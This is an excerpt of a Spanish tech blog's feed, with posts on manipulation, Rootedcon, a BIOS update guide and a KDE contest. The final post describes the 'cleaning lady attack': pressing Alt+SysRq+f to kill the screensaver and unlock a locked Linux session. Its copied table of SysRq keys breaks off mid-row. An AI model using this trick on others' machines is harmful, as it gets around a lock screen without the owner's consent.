/&gt;&lt;b&gt;Cómo evitar ser manipulado&lt;/b&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;ul&gt;&lt;li&gt;Saber de antemano hasta lo que se está dispuesto a hacer y lo que no.&amp;nbsp;&lt;/li&gt;&lt;li&gt;Ser capaz de negarse en el momento oportuno por muy comprometidos que nos sintamos con alguien empleando&amp;nbsp;&lt;a href="http://www.redjovenes.es/index.php?option=com_content&amp;amp;view=category&amp;amp;layout=blog&amp;amp;id=9&amp;amp;Itemid=18"&gt;técnicas asertivas&lt;/a&gt;&amp;nbsp;si fuera necesario (Disco Rayado, Banco de Niebla, Pregunta Asertiva).&lt;/li&gt;&lt;li&gt;Aprender a replantearse nuestras decisiones reconociendo cuándo nos hemos equivocado.&lt;/li&gt;&lt;li&gt;Plantearse decisiones sucesivas como independientes unas de las otras de manera objetiva.&lt;/li&gt;&lt;li&gt;Analizar las presiones que a las que nos hemos visto sometidos al tomar una decisión.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Algunos libros&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.google.es/search?rlz=1C1GGLS_esES369ES369&amp;amp;aq=f&amp;amp;sourceid=chrome&amp;amp;ie=UTF-8&amp;amp;q=Peque%C3%B1o+tratado+de+manipulaci%C3%B3n+para+gente+de+bien"&gt;Pequeño tratado de manipulación para gente de bien&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.google.es/search?rlz=1C1GGLS_esES369ES369&amp;amp;sourceid=chrome&amp;amp;ie=UTF-8&amp;amp;q=Manipulacion:+La+Perversidad+Del+Peque%C3%B1o+Poder"&gt;Manipulacion: La Perversidad Del Pequeño Poder&lt;/a&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Psychological_manipulation"&gt;Wikipedia&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;ol&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-7660561897304284857?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/7660561897304284857/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=7660561897304284857' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/7660561897304284857'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/7660561897304284857'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2010/03/acerca-de-la-manipulacion.html' title='Acerca de la manipulación'/><author><name>arreche</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-1076742389453246946</id><published>2010-03-22T09:00:00.002Z</published><updated>2010-03-22T09:04:58.145Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='rootedcon'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='conferencias'/><title type='text'>Rootedcon</title><content type='html'>Bueno, pues ya termino la primera &lt;a href="http://www.rootedcon.es/"&gt;rootedcon&lt;/a&gt;, dos de los autores de este blog (arreche y yo, ole) fuimos para alla... ¿que decir?, que ya estamos ansiosos de la rootedcon el año que viene y que estamos esperando que suban todo el material alli visto para estudiarlo :)&lt;br /&gt;&lt;br /&gt;Gracias a los organizadores por currarselo y en especial a PatoWC. A los ponentes por compartir sus conocimientos (bueno, a Chema no, que no libera la foca xD). Y a los asistentes, se lleno al completo, lo que quiere decir que tuvo muy buena aceptacion y que el año que viene tendran que aumentar el aforo para que quepan mas personas.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-1076742389453246946?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/1076742389453246946/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=1076742389453246946' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/1076742389453246946'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/1076742389453246946'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2010/03/rootedcon.html' title='Rootedcon'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-243304471165357771</id><published>2010-03-03T15:41:00.003Z</published><updated>2010-03-03T16:11:43.816Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='hackers'/><title type='text'>Grupos de trabajo</title><content type='html'>Buenas a todos,&lt;br /&gt;&lt;br /&gt;Bueno, dos de los autores de este blog (arreche y yo) nos vamos a ir a la &lt;a href="http://www.rootedcon.es/"&gt;rootedcon&lt;/a&gt; :), asi que ultimamente estamos - como dice arreche - "repasando al menos los conceptos basicos" xD. Y como ha resultado que las vulnerabilidades mas comunes de 2009 fueron XSS (Cross-Site Scripting) y SQL Injection pues las estamos repasando (y aprendiendo) un poco.&lt;br /&gt;&lt;br /&gt;El otro dia quedamos y "repasamos" ¿no aythami? y desde luego que aprendimos cosillas (y los que nos queda aun ¿no aythami? xD). No comentare sobre donde estuvimos haciendo pruebas, aun estamos nosotros y ese es nuestro campo de batalla, pero si les dare un consejo, ¿te gusta la seguridad? pues intenta buscar algun amigo al que tambien le guste, el estudio de estas cosas entre dos personas (o mas, pero no muchas mas) tiene muchas ventajas:&lt;br /&gt;&lt;br /&gt;- Cada uno da sus aproximaciones y todos las aprenden&lt;br /&gt;- Cada uno conoce es mas o menos ducho en ciertos temas y todos aprenden&lt;br /&gt;- Realizar ataques muchas veces es un arte (y si estas haciendo Blind loquesea Injection mas aun), cada persona tiene un artista en potencia dentro y lo expresa de forma distinta a como lo expresaria otro.&lt;br /&gt;- Conectar con alguien da energia y ganas de seguir intentando cosas&lt;br /&gt;- Ser mas de uno el que se da de cabezazos contra una puerta cerrada (pero que sospechas que se puede abrir) hace que tengan mas energia para seguir dandole caña, si tu solo le dedicas una hora, tal vez con un compañero le hubieras dedicado 3.&lt;br /&gt;- Aumenta la sociabilidad de los individuos.&lt;br /&gt;&lt;br /&gt;No dire mucho de nuestros experimentos (tampoco es que sea nada del otro mundo), pero si me gustaria hacer una pequeña referencia... -- QUE TONTERIA Y CUANTO PODER!!! (no aythami? xDDD)&lt;br /&gt;&lt;br /&gt;Happy hacking!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-243304471165357771?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/243304471165357771/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=243304471165357771' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/243304471165357771'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/243304471165357771'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2010/03/sql-injection.html' title='Grupos de trabajo'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-6353112815836602343</id><published>2010-03-01T13:59:00.004Z</published><updated>2010-03-01T14:36:33.429Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='passwords'/><category scheme='http://www.blogger.com/atom/ns#' term='acer aspire one'/><category scheme='http://www.blogger.com/atom/ns#' term='bateria'/><category scheme='http://www.blogger.com/atom/ns#' term='problema'/><category scheme='http://www.blogger.com/atom/ns#' term='bug'/><category scheme='http://www.blogger.com/atom/ns#' term='bios'/><title type='text'>Problema con la BIOS de los Acer Aspire One</title><content type='html'>Buenas a todos, esta entrada tratará sobre un par de problemas que se dan en los Acer Aspire One y cómo solucionarlos. Es más o menos fácil encontrar por ahí fuentes que nos digan cómo hacerlo, pero creo que nunca viene mal que haya más.&lt;br /&gt;&lt;br /&gt;Todo surge de que mí Acer Aspire One (un netbook) de repente un día le dejó de funcionar la batería, sin saber por qué, ya no podía funcionar sin batería. Lo conectaba a la corriente y el sistema (en mi caso Ubuntu 9.10) decía que la batería estaba completa, pero como desactivara el cable se apagaba todo.&lt;br /&gt;&lt;br /&gt;Resulta que esto es un problema con los Acer Aspire One AOA 150 con BIOS version 3305... mira tu por donde exactamente lo que tengo (bueno, tenía). Buscando por internet encuentras información de cómo actualizar para gente que usa windows, incluso el readme.txt que trae el driver bajado directamente de la web de Acer, tiene sólo instrucciones para windows, cosa que me jode mucho porque este netbook me lo compré con linpus linux pero bueno... A saber, los pasos a seguir son:&lt;br /&gt;&lt;br /&gt;1- Descargar la nueva imagen de BIOS desde la &lt;a href="http://support.acer-euro.com/drivers/downloads_gd.html"&gt;página oficial&lt;/a&gt; (desconfía de cualquier cosa que no venga directamente de la empresa original... y también habría que desconfiar un poco de ésta última). Netbook &gt; Aspire One &gt; AOA150. Una vez seleccionado, aparecerá abajo los drivers del hardware para windows XP, ¡vaya mierda, nada para GNU/Linux!, le damos a la pestaña de "BIOS" y nos bajamos el archivo. En el momento de escribir ésto, la versión era la 3310. El modelo de netbook (AOA150) lo puedes ver, o en la descripción que aparece cuando accedemos a la BIOS o en una pegatina blanca en la parte de abajo del netbook donde viene el código de barras, el número de serie y el SNID, algo como "MFG.DATE..."&lt;br /&gt;&lt;br /&gt;2- Formatear un pendrive en FAT. Cuando yo leo acerca de ésto siempre me surge la duda de a qué formato se referirán en concreto. Hablando claro (u oscuro según lo que sepa el lector), según fdisk, formato W95 FAT32 (LBA), éste es el que usé yo, supongo que W95 FAT32 también vale, para los que no tengan fdisk a mano... identificador de formato de partición número 0xc (LBA) o 0xb (sin nada). Yo ya tenía mi pen en ese formato y con cosas dentro... las borré para asegurarme de que no interferían en el proceso, pero a lo mejor no hace falta.&lt;br /&gt;&lt;br /&gt;3- Descomprimimos el .zip que nos bajamos en el paso 1 en el pendrive. Ojo, según el programa que usemos para descomprimir nos creará una carpeta con todo el contenido dentro o no. Lo que tiene que contener el pendrive a partir de su raíz son unos cuantos ficheros (Dos_Flash, 3310.fd, Ding.wav, etc...)&lt;br /&gt;&lt;br /&gt;4- Cambiamos el nombre del fichero 3310.fd a ZG5IA32.fd. En principio da igual que versión de BIOS sea, yo la información ésta la encontré para actualizar a la versión 3304 y también era el mismo nombre, así que si vas a actualizar a alguna superior a la 3310... bueno, pase lo que pase no me hago responsable de nada, pero no creo que de problemas.&lt;br /&gt;&lt;br /&gt;5- En el netbook apagado, ponemos el pendrive en el conector USB del lateral izquierdo, el que está al lado del conector de red. No te rías, no me lo he inventado, estaba especificado en donde leí todo ésto. He de decir que encontré otra página también con unos pasos muy parecidos y decía en cualquier USB... yo lo hice en ése porque ya lo tenía enchufado ahí, no creo que implique nada.&lt;br /&gt;&lt;br /&gt;6- Pulsamos las teclas Fn + Esc y mientras las mantenemos pulsadas le damos al botón de encendido del netbook y seguimos manteniendo pulsadas Fn + Esc durante 2 segundos más. Lo de los 2 segundos lo pongo yo, hay que mantenerlas pulsadas algo de tiempo más pero lo pongo así para que si alguien lee esta guía no le vengan preguntas del tipo "¿¡PERO CUANTO TIEMPO MÁS!?" (yo también soy un paranoico con estas cosas). Veremos que la luz del botón empezará a parpadear y la pantalla se quedará en negro, sin problema, ya está actualizando, lo dejamos un tiempo (2 min? 5 min? no recuerdo en cuánto terminó el mío, pero más o menos eso) y automágicamente se reiniciará. Puedes entrar a la BIOS para comprobar que la versión ha cambiado.&lt;br /&gt;&lt;br /&gt;NOTA: Si no se te actualizó la BIOS, no problem, a mi la primera vez tampoco lo hizo xD. Volví a intentarlo una segunda vez y arreglado. No me preguntes por qué.&lt;br /&gt;&lt;br /&gt;NOTA 2: La actualización también arregla otro bug bastante cabrón que tenía esa BIOS. Cuando le ponías contraseña a la BIOS, automágicamente te cambiaba todas las minúsculas por mayúsculas. Así que si le ponías la contraseña "mama", para entrar tenías que teclear "MAMA", menuda gracia.&lt;br /&gt;&lt;br /&gt;Happy hacking!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-6353112815836602343?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/6353112815836602343/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=6353112815836602343' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/6353112815836602343'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/6353112815836602343'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2010/03/problema-con-la-bios-de-los-acer-aspire.html' title='Problema con la BIOS de los Acer Aspire One'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-507244897688965326</id><published>2010-02-12T20:45:00.003Z</published><updated>2010-02-13T18:41:07.726Z</updated><title type='text'>¡Comienza Javascript Jam Session!</title><content type='html'>Se trata de un concurso en el que hay que programar una aplicación para la nueva versión del escritorio KDE. Entre los premios en juego hay un terminal &lt;a href="http://www.youtube.com/watch?v=GhTtsZATwBQ&amp;amp;feature=player_embedded"&gt;Nokia N900&lt;/a&gt;, varios viajes a eventos de KDE y camisetas. Además todos los desarrolladores recibirán un certificado de participación&lt;br /&gt;&lt;br /&gt;Para los que estén interesados recomiendo que lean el &lt;a href="http://plasma.kde.org/media/javascript_plasmoid_training_sessions_13022010.txt"&gt;log de Training session&lt;/a&gt; realizadas en #plasma-training de irc.freenode.net por &lt;a href="http://aseigo.blogspot.com/"&gt;aseigo&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-507244897688965326?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://plasma.kde.org/' title='¡Comienza Javascript Jam Session!'/><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/507244897688965326/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=507244897688965326' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/507244897688965326'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/507244897688965326'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2010/02/comienza-javascript-jam-session.html' title='¡Comienza Javascript Jam Session!'/><author><name>arreche</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-8058872902386848921</id><published>2010-01-03T16:08:00.005Z</published><updated>2010-01-03T16:32:30.175Z</updated><title type='text'>El ataque de la señora de la limpieza</title><content type='html'>&lt;div&gt;&lt;div&gt;&lt;div&gt;Tal y como lo explican en el &lt;a href="http://bitelia.com/2010/01/el-ataque-de-la-senora-de-la-limpieza"&gt;blog de dónde lo leí&lt;/a&gt; se trata de una combinación de teclas con la que se podría desbloquear un sistema GNU/Linux matando el proceso de salvapantallas.&lt;br /&gt;&lt;span style="font-family: Arial;"&gt;&lt;span style="font-family: 'Times New Roman';"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman';"&gt;Dicha combinación ejecuta una de las llamadas al kernel destinadas a la recuperación del sistema. Para llevarla a cabo debemos pulsar las teclas Alt + SysRq + f y entonces se matará aleatoriamente un proceso con el objetivo de liberar memoria.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: Arial;"&gt;&lt;span style="font-family: 'Times New Roman';"&gt;La tecla SysRq puede ser localizada en la siguiente imagen.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.simtropolis.com/omnibus/index.cfm?event=Main&amp;amp;path=Special.Files.mosaic3.jpg&amp;amp;showfile=true" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="150" src="http://www.simtropolis.com/omnibus/index.cfm?event=Main&amp;amp;path=Special.Files.mosaic3.jpg&amp;amp;showfile=true" width="200" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: Arial;"&gt;&lt;span style="font-family: 'Times New Roman';"&gt;El resto de llamadas puede verse en la siguiente tabla extraída de la &lt;a href="http://en.wikipedia.org/wiki/Magic_SysRq_key"&gt;Wikipedia&lt;/a&gt;. Para efectuar cualquier combinación debemos presionar las teclas Alt + SysRq + el carácter correspondiente a nuestra disposición de teclado&lt;/span&gt;.&lt;span class="Apple-style-span" style="font-family: sans-serif; line-height: 19px;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Arial;"&gt;&lt;table class="wikitable" style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: #f9f9f9; background-image: initial; background-repeat: initial; border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-collapse: collapse; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; color: black; margin-bottom: 1em; margin-left: 0px; margin-right: 1em; margin-top: 1em; text-align: left;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: #f2f2f2; background-image: initial; background-repeat: initial; border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em; text-align: center;"&gt;&lt;span style="font-weight: normal;"&gt;Action&lt;/span&gt;&lt;br /&gt;&lt;/th&gt;&lt;th style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: #f2f2f2; background-image: initial; background-repeat: initial; border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em; text-align: center;"&gt;&lt;a href="http://en.wikipedia.org/wiki/QWERTY" style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: initial; background-image: none; background-repeat: initial; color: #002bb8; text-decoration: none;" title="QWERTY"&gt;&lt;span style="font-weight: normal;"&gt;QWERTY&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;/th&gt;&lt;th style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: #f2f2f2; background-image: initial; background-repeat: initial; border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em; text-align: center;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Dvorak_Simplified_Keyboard" style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: initial; background-image: none; background-repeat: initial; color: #002bb8; text-decoration: none;" title="Dvorak Simplified Keyboard"&gt;&lt;span style="font-weight: normal;"&gt;Dvorak&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;/th&gt;&lt;th style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: #f2f2f2; background-image: initial; background-repeat: initial; border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em; text-align: center;"&gt;&lt;a href="http://en.wikipedia.org/wiki/AZERTY" style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: initial; background-image: none; background-repeat: initial; color: #002bb8; text-decoration: none;" title="AZERTY"&gt;&lt;span style="font-weight: normal;"&gt;AZERTY&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;Set the console log level, which controls the types of kernel messages that are output to the console&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;0&amp;nbsp;through&amp;nbsp;9&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;0&amp;nbsp;through&amp;nbsp;9&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;0&amp;nbsp;through&amp;nbsp;9&lt;br /&gt;(without&amp;nbsp;using shift)&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;Immediately reboot the system, without unmounting partitions or syncing&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;b&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;x&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;b&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;Reboot&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Kexec" style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: initial; background-image: none; background-repeat: initial; color: #002bb8; text-decoration: none;" title="Kexec"&gt;kexec&lt;/a&gt;&amp;nbsp;and output a crashdump&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;c&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;j&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;c&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;Display all currently held&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Lock_(computer_science)" style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: initial; background-image: none; background-repeat: initial; color: #002bb8; text-decoration: none;" title="Lock (computer science)"&gt;Locks&lt;/a&gt;&lt;br /&gt;&lt;/td&gt;&lt;td 